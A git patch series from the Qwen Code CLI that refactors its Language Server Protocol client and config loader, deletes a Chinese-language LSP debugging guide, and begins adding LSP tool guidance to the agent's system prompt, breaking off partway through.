31/79] refactor(cli/lsp): extract NativeLspClient and simplify LSP service architecture - Extract NativeLspClient from NativeLspService for better separation of concerns - Simplify LspConfigLoader by removing built-in configuration options - Remove LSP_DEBUGGING_GUIDE.md as it's no longer needed - Clean up unused LSP constants - Remove deprecated LSP configuration from config.ts --- packages/cli/LSP_DEBUGGING_GUIDE.md | 156 ----------- packages/cli/src/config/config.ts | 129 +-------- .../cli/src/services/lsp/LspConfigLoader.ts | 109 +++----- .../src/services/lsp/LspLanguageDetector.ts | 6 + .../src/services/lsp/LspResponseNormalizer.ts | 6 + .../cli/src/services/lsp/LspServerManager.ts | 8 +- .../cli/src/services/lsp/NativeLspClient.ts | 259 ++++++++++++++++++ .../cli/src/services/lsp/NativeLspService.ts | 167 +++-------- packages/cli/src/services/lsp/constants.ts | 106 ------- 9 files changed, 350 insertions(+), 596 deletions(-) delete mode 100644 packages/cli/LSP_DEBUGGING_GUIDE.md create mode 100644 packages/cli/src/services/lsp/NativeLspClient.ts diff --git a/packages/cli/LSP_DEBUGGING_GUIDE.md b/packages/cli/LSP_DEBUGGING_GUIDE.md deleted file mode 100644 index d837adb4d..000000000 --- a/packages/cli/LSP_DEBUGGING_GUIDE.md +++ /dev/null @@ -1,156 +0,0 @@ -# LSP 调试指南 - -本指南介绍如何调试 packages/cli 中的 LSP (Language Server Protocol) 功能。 - -## 1. 启用调试模式 - -CLI 支持调试模式，可以提供额外的日志信息： - -```bash -# 使用 debug 标志运行 -qwen --debug [你的命令] - -# 或设置环境变量 -DEBUG=true qwen [你的命令] -DEBUG_MODE=true qwen [你的命令] -``` - -## 2. LSP 配置选项 - -LSP 功能通过 `--experimental-lsp` 命令行参数启用。服务器配置通过以下方式定义： - -- `.lsp.json` 文件：在项目根目录创建配置文件 -- `lsp.languageServers`：在 `settings.json` 中内联配置 - -### 在 settings.json 中的示例配置 - -```json -{ - "lsp": { - "languageServers": { - "typescript-language-server": { - "languages": ["typescript", "javascript"], - "command": "typescript-language-server", - "args": ["--stdio"] - } - } - } -} -``` - -### 在 .lsp.json 中的示例配置 - -```json -{ - "typescript": { - "command": "typescript-language-server", - "args": ["--stdio"], - "extensionToLanguage": { - ".ts": "typescript", - ".tsx": "typescriptreact" - } - } -} -``` - -## 3. NativeLspService 调试功能 - -`NativeLspService` 类包含几个调试功能： - -### 3.1 控制台日志 - -服务向控制台输出状态消息： - -- `LSP 服务器 ${name} 启动成功` - 服务器成功启动 -- `LSP 服务器 ${name} 启动失败` - 服务器启动失败 -- `工作区不受信任，跳过 LSP 服务器发现` - 工作区不受信任，跳过发现 - -### 3.2 错误处理 - -服务具有全面的错误处理和详细的错误消息 - -### 3.3 状态跟踪 - -您可以通过 `getStatus()` 方法检查所有 LSP 服务器的状态 - -## 4. 调试命令 - -```bash -# 启用调试运行 -qwen --debug --prompt "调试 LSP 功能" - -# 检查在您的项目中检测到哪些 LSP 服务器 -# 系统会自动检测语言和相应的 LSP 服务器 -``` - -## 5. 手动 LSP 服务器配置 - -您还可以在项目根目录使用 `.lsp.json` 文件手动配置 LSP 服务器。 -推荐使用新格式（以服务器名称为键），旧格式仍然兼容但会提示迁移： - -```json -{ - "languageServers": { - "pylsp": { - "command": "pylsp", - "args": [], - "languages": ["python"], - "transport": "stdio", - "settings": {}, - "workspaceFolder": null, - "startupTimeout": 10000, - "shutdownTimeout": 3000, - "restartOnCrash": true, - "maxRestarts": 3, - "trustRequired": true - } - } -} -``` - -旧格式示例： - -```json -{ - "python": { - "command": "pylsp", - "args": [], - "transport": "stdio", - "trustRequired": true - } -} -``` - -## 6. LSP 问题排查 - -### 6.1 检查 LSP 服务器是否已安装 - -- 对于 TypeScript/JavaScript: `typescript-language-server` -- 对于 Python: `pylsp` -- 对于 Go: `gopls` - -### 6.2 验证工作区信任 - -- LSP 服务器可能需要受信任的工作区才能启动 -- 检查 `security.folderTrust.enabled` 设置 - -### 6.3 查看日志 - -- 查找以 `LSP 服务器` 开头的控制台消息 -- 检查命令存在性和路径安全性问题 - -## 7. LSP 服务启动流程 - -LSP 服务的启动遵循以下流程： - -1. **发现和准备**: `discoverAndPrepare()` 方法检测工作区中的编程语言 -2. **创建服务器句柄**: 根据检测到的语言创建对应的服务器句柄 -3. **启动服务器**: `start()` 方法启动所有服务器句柄 -4. **状态管理**: 服务器状态在 `NOT_STARTED`, `IN_PROGRESS`, `READY`, `FAILED` 之间转换 - -## 8. 调试技巧 - -- 使用 `--debug` 标志查看详细的启动过程 -- 检查工作区是否受信任（影响 LSP 服务器启动） -- 确认 LSP 服务器命令在系统 PATH 中可用 -- 使用 `getStatus()` 方法监控服务器运行状态 diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index f04486894..165ec8a43 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -45,6 +45,7 @@ import { getCliVersion } from '../utils/version.js'; import { loadSandboxConfig } from './sandboxConfig.js'; import { appEvents } from '../utils/events.js'; import { mcpCommand } from '../commands/mcp.js'; +import { NativeLspClient } from '../services/lsp/NativeLspClient.js'; import { NativeLspService } from '../services/lsp/NativeLspService.js'; import { isWorkspaceTrusted } from './trustedFolders.js'; @@ -151,134 +152,6 @@ export interface CliArgs { channel: string | undefined; } -class NativeLspClient implements LspClient { - constructor(private readonly service: NativeLspService) {} - - workspaceSymbols(query: string, limit?: number) { - return this.service.workspaceSymbols(query, limit); - } - - definitions( - location: Parameters[0], - serverName?: string, - limit?: number, - ) { - return this.service.definitions(location, serverName, limit); - } - - references( - location: Parameters[0], - serverName?: string, - includeDeclaration?: boolean, - limit?: number, - ) { - return this.service.references( - location, - serverName, - includeDeclaration, - limit, - ); - } - - /** - * Get hover information (documentation, type info) for a symbol. - */ - hover( - location: Parameters[0], - serverName?: string, - ) { - return this.service.hover(location, serverName); - } - - /** - * Get all symbols in a document. - */ - documentSymbols(uri: string, serverName?: string, limit?: number) { - return this.service.documentSymbols(uri, serverName, limit); - } - - /** - * Find implementations of an interface or abstract method. - */ - implementations( - location: Parameters[0], - serverName?: string, - limit?: number, - ) { - return this.service.implementations(location, serverName, limit); - } - - /** - * Prepare call hierarchy item at a position (functions/methods). - */ - prepareCallHierarchy( - location: Parameters[0], - serverName?: string, - limit?: number, - ) { - return this.service.prepareCallHierarchy(location, serverName, limit); - } - - /** - * Find all functions/methods that call the given function. - */ - incomingCalls( - item: Parameters[0], - serverName?: string, - limit?: number, - ) { - return this.service.incomingCalls(item, serverName, limit); - } - - /** - * Find all functions/methods called by the given function. - */ - outgoingCalls( - item: Parameters[0], - serverName?: string, - limit?: number, - ) { - return this.service.outgoingCalls(item, serverName, limit); - } - - /** - * Get diagnostics for a specific document. - */ - diagnostics(uri: string, serverName?: string) { - return this.service.diagnostics(uri, serverName); - } - - /** - * Get diagnostics for all open documents in the workspace. - */ - workspaceDiagnostics(serverName?: string, limit?: number) { - return this.service.workspaceDiagnostics(serverName, limit); - } - - /** - * Get code actions available at a specific location. - */ - codeActions( - uri: string, - range: Parameters[1], - context: Parameters[2], - serverName?: string, - limit?: number, - ) { - return this.service.codeActions(uri, range, context, serverName, limit); - } - - /** - * Apply a workspace edit (from code action or other sources). - */ - applyWorkspaceEdit( - edit: Parameters[0], - serverName?: string, - ) { - return this.service.applyWorkspaceEdit(edit, serverName); - } -} - function normalizeOutputFormat( format: string | OutputFormat | undefined, ): OutputFormat | undefined { diff --git a/packages/cli/src/services/lsp/LspConfigLoader.ts b/packages/cli/src/services/lsp/LspConfigLoader.ts index 89f56ee64..a0c5cd08d 100644 --- a/packages/cli/src/services/lsp/LspConfigLoader.ts +++ b/packages/cli/src/services/lsp/LspConfigLoader.ts @@ -14,39 +14,28 @@ import type { } from './LspTypes.js'; export class LspConfigLoader { - private warnedLegacyConfig = false; - constructor(private readonly workspaceRoot: string) {} /** - * Load user .lsp.json configuration + * Load user .lsp.json configuration. + * Supports two official formats: + * 1. Basic format: { "language": { "command": "...", "extensionToLanguage": {...} } } + * 2. LanguageServers format: { "languageServers": { "server-name": { "languages": [...], ... } } } */ async loadUserConfigs(): Promise { - const configs: LspServerConfig[] = []; - const sources: Array<{ origin: string; data: unknown }> = []; - const lspConfigPath = path.join(this.workspaceRoot, '.lsp.json'); - if (fs.existsSync(lspConfigPath)) { - try { - const configContent = fs.readFileSync(lspConfigPath, 'utf-8'); - sources.push({ - origin: lspConfigPath, - data: JSON.parse(configContent), - }); - } catch (error) { - console.warn('Failed to load user .lsp.json config:', error); - } + if (!fs.existsSync(lspConfigPath)) { + return []; } - for (const source of sources) { - const parsed = this.parseConfigSource(source.data, source.origin); - if (parsed.usedLegacyFormat && parsed.configs.length > 0) { - this.warnLegacyConfig(source.origin); - } - configs.push(...parsed.configs); + try { + const configContent = fs.readFileSync(lspConfigPath, 'utf-8'); + const data = JSON.parse(configContent); + return this.parseConfigSource(data, lspConfigPath); + } catch (error) { + console.warn('Failed to load user .lsp.json config:', error); + return []; } - - return configs; } /** @@ -164,40 +153,43 @@ export class LspConfigLoader { return presets; } + /** + * Parse configuration source and extract server configs. + * Detects format based on presence of 'languageServers' key. + */ private parseConfigSource( source: unknown, origin: string, - ): { configs: LspServerConfig[]; usedLegacyFormat: boolean } { + ): LspServerConfig[] { if (!this.isRecord(source)) { - return { configs: [], usedLegacyFormat: false }; + return []; } const configs: LspServerConfig[] = []; - let serverMap: Record = source; - let usedLegacyFormat = false; - if (this.isRecord(source['languageServers'])) { - serverMap = source['languageServers'] as Record; - } else if (this.isNewFormatServerMap(source)) { - serverMap = source; - } else { - usedLegacyFormat = true; - } + // Determine format: languageServers wrapper vs basic format + const hasLanguageServersWrapper = this.isRecord(source['languageServers']); + const serverMap = hasLanguageServersWrapper + ? (source['languageServers'] as Record) + : source; for (const [key, spec] of Object.entries(serverMap)) { if (!this.isRecord(spec)) { continue; } - const languagesValue = spec['languages']; - const languages = usedLegacyFormat - ? [key] - : (this.normalizeStringArray(languagesValue) ?? - (typeof languagesValue === 'string' ? [languagesValue] : [])); + // In basic format: key is language name, server name comes from command + // In languageServers format: key is server name, languages come from 'languages' array + const isBasicFormat = !hasLanguageServersWrapper && !spec['languages']; - const name = usedLegacyFormat + const languages = isBasicFormat + ? [key] + : (this.normalizeStringArray(spec['languages']) ?? + (typeof spec['languages'] === 'string' ? [spec['languages']] : [])); + + const name = isBasicFormat ? typeof spec['command'] === 'string' - ? (spec['command'] as string) + ? spec['command'] : key : key; @@ -207,7 +199,7 @@ export class LspConfigLoader { } } - return { configs, usedLegacyFormat }; + return configs; } private buildServerConfig( @@ -282,37 +274,6 @@ export class LspConfigLoader { }; } - private isNewFormatServerMap(value: Record): boolean { - return Object.values(value).some( - (entry) => this.isRecord(entry) && this.isNewFormatServerSpec(entry), - ); - } - - private isNewFormatServerSpec(value: Record): boolean { - return ( - Array.isArray(value['languages']) || - this.isRecord(value['extensionToLanguage']) || - this.isRecord(value['settings']) || - value['workspaceFolder'] !== undefined || - value['startupTimeout'] !== undefined || - value['shutdownTimeout'] !== undefined || - value['restartOnCrash'] !== undefined || - value['maxRestarts'] !== undefined || - this.isRecord(value['env']) || - value['socket'] !== undefined - ); - } - - private warnLegacyConfig(origin: string): void { - if (this.warnedLegacyConfig) { - return; - } - console.warn( - `Legacy LSP config detected in ${origin}. Please migrate to the languageServers format.`, - ); - this.warnedLegacyConfig = true; - } - private isRecord(value: unknown): value is Record { return typeof value === 'object' && value !== null && !Array.isArray(value); } diff --git a/packages/cli/src/services/lsp/LspLanguageDetector.ts b/packages/cli/src/services/lsp/LspLanguageDetector.ts index 694cf14f1..863332867 100644 --- a/packages/cli/src/services/lsp/LspLanguageDetector.ts +++ b/packages/cli/src/services/lsp/LspLanguageDetector.ts @@ -1,3 +1,9 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + /** * LSP Language Detector * diff --git a/packages/cli/src/services/lsp/LspResponseNormalizer.ts b/packages/cli/src/services/lsp/LspResponseNormalizer.ts index ee789bc73..a9720a8a4 100644 --- a/packages/cli/src/services/lsp/LspResponseNormalizer.ts +++ b/packages/cli/src/services/lsp/LspResponseNormalizer.ts @@ -1,3 +1,9 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + /** * LSP Response Normalizer * diff --git a/packages/cli/src/services/lsp/LspServerManager.ts b/packages/cli/src/services/lsp/LspServerManager.ts index af2e9a4f6..0bb129529 100644 --- a/packages/cli/src/services/lsp/LspServerManager.ts +++ b/packages/cli/src/services/lsp/LspServerManager.ts @@ -143,7 +143,13 @@ export class LspServerManager { } } - private isTypescriptServer(handle: LspServerHandle): boolean { + /** + * Check if the given handle is a TypeScript language server. + * + * @param handle - The LSP server handle + * @returns true if it's a TypeScript server + */ + isTypescriptServer(handle: LspServerHandle): boolean { return ( handle.config.name.includes('typescript') || (handle.config.command?.includes('typescript') ?? false) diff --git a/packages/cli/src/services/lsp/NativeLspClient.ts b/packages/cli/src/services/lsp/NativeLspClient.ts new file mode 100644 index 000000000..890ed0755 --- /dev/null +++ b/packages/cli/src/services/lsp/NativeLspClient.ts @@ -0,0 +1,259 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * NativeLspClient is an adapter that implements the LspClient interface + * by delegating all calls to NativeLspService. + * + * This class bridges the gap between the generic LspClient interface (defined in core) + * and the CLI-specific NativeLspService implementation. + */ + +import type { + LspCallHierarchyIncomingCall, + LspCallHierarchyItem, + LspCallHierarchyOutgoingCall, + LspClient, + LspCodeAction, + LspCodeActionContext, + LspDefinition, + LspDiagnostic, + LspFileDiagnostics, + LspHoverResult, + LspLocation, + LspRange, + LspReference, + LspSymbolInformation, + LspWorkspaceEdit, +} from '@qwen-code/qwen-code-core'; + +import type { NativeLspService } from './NativeLspService.js'; + +/** + * Adapter class that implements LspClient by delegating to NativeLspService. + * + * @example + * ```typescript + * const lspService = new NativeLspService(config, workspaceContext, ...); + * await lspService.start(); + * const lspClient = new NativeLspClient(lspService); + * config.setLspClient(lspClient); + * ``` + */ +export class NativeLspClient implements LspClient { + /** + * Creates a new NativeLspClient instance. + * + * @param service - The NativeLspService instance to delegate calls to + */ + constructor(private readonly service: NativeLspService) {} + + /** + * Search for symbols across the workspace. + * + * @param query - The search query string + * @param limit - Maximum number of results to return + * @returns Promise resolving to array of symbol information + */ + workspaceSymbols( + query: string, + limit?: number, + ): Promise { + return this.service.workspaceSymbols(query, limit); + } + + /** + * Find where a symbol is defined. + * + * @param location - The source location to find definitions for + * @param serverName - Optional specific LSP server to query + * @param limit - Maximum number of results to return + * @returns Promise resolving to array of definition locations + */ + definitions( + location: LspLocation, + serverName?: string, + limit?: number, + ): Promise { + return this.service.definitions(location, serverName, limit); + } + + /** + * Find all references to a symbol. + * + * @param location - The source location to find references for + * @param serverName - Optional specific LSP server to query + * @param includeDeclaration - Whether to include the declaration in results + * @param limit - Maximum number of results to return + * @returns Promise resolving to array of reference locations + */ + references( + location: LspLocation, + serverName?: string, + includeDeclaration?: boolean, + limit?: number, + ): Promise { + return this.service.references( + location, + serverName, + includeDeclaration, + limit, + ); + } + + /** + * Get hover information (documentation, type info) for a symbol. + * + * @param location - The source location to get hover info for + * @param serverName - Optional specific LSP server to query + * @returns Promise resolving to hover result or null if not available + */ + hover( + location: LspLocation, + serverName?: string, + ): Promise { + return this.service.hover(location, serverName); + } + + /** + * Get all symbols in a document. + * + * @param uri - The document URI to get symbols for + * @param serverName - Optional specific LSP server to query + * @param limit - Maximum number of results to return + * @returns Promise resolving to array of symbol information + */ + documentSymbols( + uri: string, + serverName?: string, + limit?: number, + ): Promise { + return this.service.documentSymbols(uri, serverName, limit); + } + + /** + * Find implementations of an interface or abstract method. + * + * @param location - The source location to find implementations for + * @param serverName - Optional specific LSP server to query + * @param limit - Maximum number of results to return + * @returns Promise resolving to array of implementation locations + */ + implementations( + location: LspLocation, + serverName?: string, + limit?: number, + ): Promise { + return this.service.implementations(location, serverName, limit); + } + + /** + * Prepare call hierarchy item at a position (functions/methods). + * + * @param location - The source location to prepare call hierarchy for + * @param serverName - Optional specific LSP server to query + * @param limit - Maximum number of results to return + * @returns Promise resolving to array of call hierarchy items + */ + prepareCallHierarchy( + location: LspLocation, + serverName?: string, + limit?: number, + ): Promise { + return this.service.prepareCallHierarchy(location, serverName, limit); + } + + /** + * Find all functions/methods that call the given function. + * + * @param item - The call hierarchy item to find callers for + * @param serverName - Optional specific LSP server to query + * @param limit - Maximum number of results to return + * @returns Promise resolving to array of incoming calls + */ + incomingCalls( + item: LspCallHierarchyItem, + serverName?: string, + limit?: number, + ): Promise { + return this.service.incomingCalls(item, serverName, limit); + } + + /** + * Find all functions/methods called by the given function. + * + * @param item - The call hierarchy item to find callees for + * @param serverName - Optional specific LSP server to query + * @param limit - Maximum number of results to return + * @returns Promise resolving to array of outgoing calls + */ + outgoingCalls( + item: LspCallHierarchyItem, + serverName?: string, + limit?: number, + ): Promise { + return this.service.outgoingCalls(item, serverName, limit); + } + + /** + * Get diagnostics for a specific document. + * + * @param uri - The document URI to get diagnostics for + * @param serverName - Optional specific LSP server to query + * @returns Promise resolving to array of diagnostics + */ + diagnostics(uri: string, serverName?: string): Promise { + return this.service.diagnostics(uri, serverName); + } + + /** + * Get diagnostics for all open documents in the workspace. + * + * @param serverName - Optional specific LSP server to query + * @param limit - Maximum number of file diagnostics to return + * @returns Promise resolving to array of file diagnostics + */ + workspaceDiagnostics( + serverName?: string, + limit?: number, + ): Promise { + return this.service.workspaceDiagnostics(serverName, limit); + } + + /** + * Get code actions available at a specific location. + * + * @param uri - The document URI + * @param range - The range to get code actions for + * @param context - The code action context including diagnostics + * @param serverName - Optional specific LSP server to query + * @param limit - Maximum number of code actions to return + * @returns Promise resolving to array of code actions + */ + codeActions( + uri: string, + range: LspRange, + context: LspCodeActionContext, + serverName?: string, + limit?: number, + ): Promise { + return this.service.codeActions(uri, range, context, serverName, limit); + } + + /** + * Apply a workspace edit (from code action or other sources). + * + * @param edit - The workspace edit to apply + * @param serverName - Optional specific LSP server context + * @returns Promise resolving to true if edit was applied successfully + */ + applyWorkspaceEdit( + edit: LspWorkspaceEdit, + serverName?: string, + ): Promise { + return this.service.applyWorkspaceEdit(edit, serverName); + } +} diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index 306e706a7..a7e12cfcf 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -34,6 +34,7 @@ import type { LspServerHandle, LspServerStatus, NativeLspServiceOptions, + LspConnectionInterface, } from './LspTypes.js'; import * as path from 'path'; import { fileURLToPath } from 'url'; @@ -131,6 +132,29 @@ export class NativeLspService { return this.serverManager.getStatus(); } + /** + * Get ready server handles filtered by optional server name. + * Each handle is guaranteed to have a valid connection. + * + * @param serverName - Optional server name to filter by + * @returns Array of [serverName, handle] tuples with active connections + */ + private getReadyHandles( + serverName?: string, + ): Array<[string, LspServerHandle & { connection: LspConnectionInterface }]> { + return Array.from(this.serverManager.getHandles().entries()).filter( + ( + entry, + ): entry is [ + string, + LspServerHandle & { connection: LspConnectionInterface }, + ] => + entry[1].status === 'READY' && + entry[1].connection !== undefined && + (!serverName || entry[0] === serverName), + ); + } + /** * Workspace symbol search across all ready LSP servers. */ @@ -152,7 +176,7 @@ export class NativeLspService { query, }); if ( - this.isTypescriptServer(handle) && + this.serverManager.isTypescriptServer(handle) && this.isNoProjectErrorResponse(response) ) { await this.serverManager.warmupTypescriptServer(handle, true); @@ -191,19 +215,9 @@ export class NativeLspService { serverName?: string, limit = 50, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); + const handles = this.getReadyHandles(serverName); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( @@ -248,19 +262,9 @@ export class NativeLspService { includeDeclaration = false, limit = 200, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); + const handles = this.getReadyHandles(serverName); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( @@ -302,19 +306,9 @@ export class NativeLspService { location: LspLocation, serverName?: string, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); + const handles = this.getReadyHandles(serverName); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request('textDocument/hover', { @@ -341,19 +335,9 @@ export class NativeLspService { serverName?: string, limit = 200, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); + const handles = this.getReadyHandles(serverName); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( @@ -414,19 +398,9 @@ export class NativeLspService { serverName?: string, limit = 50, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); + const handles = this.getReadyHandles(serverName); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( @@ -476,19 +450,9 @@ export class NativeLspService { serverName?: string, limit = 50, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); + const handles = this.getReadyHandles(serverName); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( @@ -539,19 +503,9 @@ export class NativeLspService { limit = 50, ): Promise { const targetServer = serverName ?? item.serverName; - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!targetServer || name === targetServer), - ); + const handles = this.getReadyHandles(targetServer); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( @@ -596,19 +550,9 @@ export class NativeLspService { limit = 50, ): Promise { const targetServer = serverName ?? item.serverName; - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!targetServer || name === targetServer), - ); + const handles = this.getReadyHandles(targetServer); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( @@ -651,21 +595,10 @@ export class NativeLspService { uri: string, serverName?: string, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); - + const handles = this.getReadyHandles(serverName); const allDiagnostics: LspDiagnostic[] = []; for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); @@ -709,21 +642,10 @@ export class NativeLspService { serverName?: string, limit = 100, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); - + const handles = this.getReadyHandles(serverName); const results: LspFileDiagnostics[] = []; for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); @@ -775,19 +697,9 @@ export class NativeLspService { serverName?: string, limit = 20, ): Promise { - const handles = Array.from( - this.serverManager.getHandles().entries(), - ).filter( - ([name, handle]) => - handle.status === 'READY' && - handle.connection && - (!serverName || name === serverName), - ); + const handles = this.getReadyHandles(serverName); for (const [name, handle] of handles) { - if (!handle.connection) { - continue; - } try { await this.serverManager.warmupTypescriptServer(handle); @@ -930,13 +842,6 @@ export class NativeLspService { fs.writeFileSync(filePath, lines.join('\n'), 'utf-8'); } - private isTypescriptServer(handle: LspServerHandle): boolean { - return ( - handle.config.name.includes('typescript') || - (handle.config.command?.includes('typescript') ?? false) - ); - } - private isNoProjectErrorResponse(response: unknown): boolean { if (!response) { return false; diff --git a/packages/cli/src/services/lsp/constants.ts b/packages/cli/src/services/lsp/constants.ts index b76c09aa7..e5874d9fc 100644 --- a/packages/cli/src/services/lsp/constants.ts +++ b/packages/cli/src/services/lsp/constants.ts @@ -25,9 +25,6 @@ export const DEFAULT_LSP_WARMUP_DELAY_MS = 150; /** Default timeout for command existence check in milliseconds */ export const DEFAULT_LSP_COMMAND_CHECK_TIMEOUT_MS = 2000; -/** Default timeout for LSP server shutdown in milliseconds */ -export const DEFAULT_LSP_SHUTDOWN_TIMEOUT_MS = 5000; - // ============================================================================ // Retry Constants // ============================================================================ @@ -105,106 +102,3 @@ export const CODE_ACTION_KIND_LABELS: Record = { 'source.organizeImports': 'source.organizeImports', 'source.fixAll': 'source.fixAll', }; - -// ============================================================================ -// Language Detection -// ============================================================================ - -/** - * Common root marker files that indicate project type/language. - */ -export const COMMON_ROOT_MARKERS = [ - 'package.json', - 'tsconfig.json', - 'pyproject.toml', - 'go.mod', - 'Cargo.toml', - 'pom.xml', - 'build.gradle', - 'composer.json', - 'Gemfile', - 'mix.exs', - 'deno.json', -] as const; - -/** - * Mapping from root marker files to programming languages. - */ -export const MARKER_TO_LANGUAGE: Record = { - 'package.json': 'javascript', - 'tsconfig.json': 'typescript', - 'pyproject.toml': 'python', - 'go.mod': 'go', - 'Cargo.toml': 'rust', - 'pom.xml': 'java', - 'build.gradle': 'java', - 'composer.json': 'php', - Gemfile: 'ruby', - '*.sln': 'csharp', - 'mix.exs': 'elixir', - 'deno.json': 'deno', -}; - -/** - * Default mapping from file extensions to language identifiers. - */ -export const DEFAULT_EXTENSION_TO_LANGUAGE: Record = { - js: 'javascript', - ts: 'typescript', - jsx: 'javascriptreact', - tsx: 'typescriptreact', - py: 'python', - go: 'go', - rs: 'rust', - java: 'java', - cpp: 'cpp', - c: 'c', - php: 'php', - rb: 'ruby', - cs: 'csharp', - vue: 'vue', - svelte: 'svelte', - html: 'html', - css: 'css', - json: 'json', - yaml: 'yaml', - yml: 'yaml', -}; - -/** - * Glob patterns to exclude when detecting languages. - */ -export const LANGUAGE_DETECTION_EXCLUDE_PATTERNS = [ - '**/node_modules/**', - '**/.git/**', - '**/dist/**', - '**/build/**', -] as const; - -// ============================================================================ -// Default Limits for LSP Operations -// ============================================================================ - -/** Default limit for workspace symbol search results */ -export const DEFAULT_LSP_WORKSPACE_SYMBOL_LIMIT = 50; - -/** Default limit for definition/implementation results */ -export const DEFAULT_LSP_DEFINITION_LIMIT = 50; - -/** Default limit for reference results */ -export const DEFAULT_LSP_REFERENCE_LIMIT = 200; - -/** Default limit for document symbol results */ -export const DEFAULT_LSP_DOCUMENT_SYMBOL_LIMIT = 200; - -/** Default limit for call hierarchy results */ -export const DEFAULT_LSP_CALL_HIERARCHY_LIMIT = 50; - -/** Default limit for diagnostics results */ -export const DEFAULT_LSP_DIAGNOSTICS_LIMIT = 100; - -/** Default limit for code action results */ -export const DEFAULT_LSP_CODE_ACTION_LIMIT = 20; - -/** Maximum number of files to scan during language detection */ -export const DEFAULT_LSP_LANGUAGE_DETECTION_FILE_LIMIT = 1000; From a21aeecd0f087bf29b5973f3086b55e1c9567149 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Sun, 25 Jan 2026 23:06:18 +0800 Subject: [PATCH 32/79] feat(core/prompts): add LSP tool usage instructions to system prompt - Add comprehensive LSP tool guidance in the Tool Usage section - Document all LSP operations with their required parameters - Clarify that workspaceSymbol only requires query, not filePath/line/character - Emphasize using LSP directly instead of grep for code intelligence queries --- packages/core/src/core/prompts.ts | 13 +++++++++++++ packages/core/src/tools/tool-names.ts | 5 ----- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/packages/core/src/core/prompts.ts b/packages/core/src/core/prompts.ts index 8d3ff4683..94d54b911 100644 --- a/packages/core/src/core/prompts.ts +++ b/packages/core/src/core/prompts.ts @@ -258,6 +258,19 @@ IMPORTANT: Always use the ${ToolNames.TODO_WRITE} tool to plan and track tasks t - **Subagent Delegation:** When doing file search, prefer to use the '${ToolNames.TASK}' tool in order to reduce context usage. You should proactively use the '${ToolNames.TASK}' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the '${ToolNames.MEMORY}' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the '${ToolNames.LSP}' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use '${ToolNames.GREP}' or '${ToolNames.GLOB}' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all 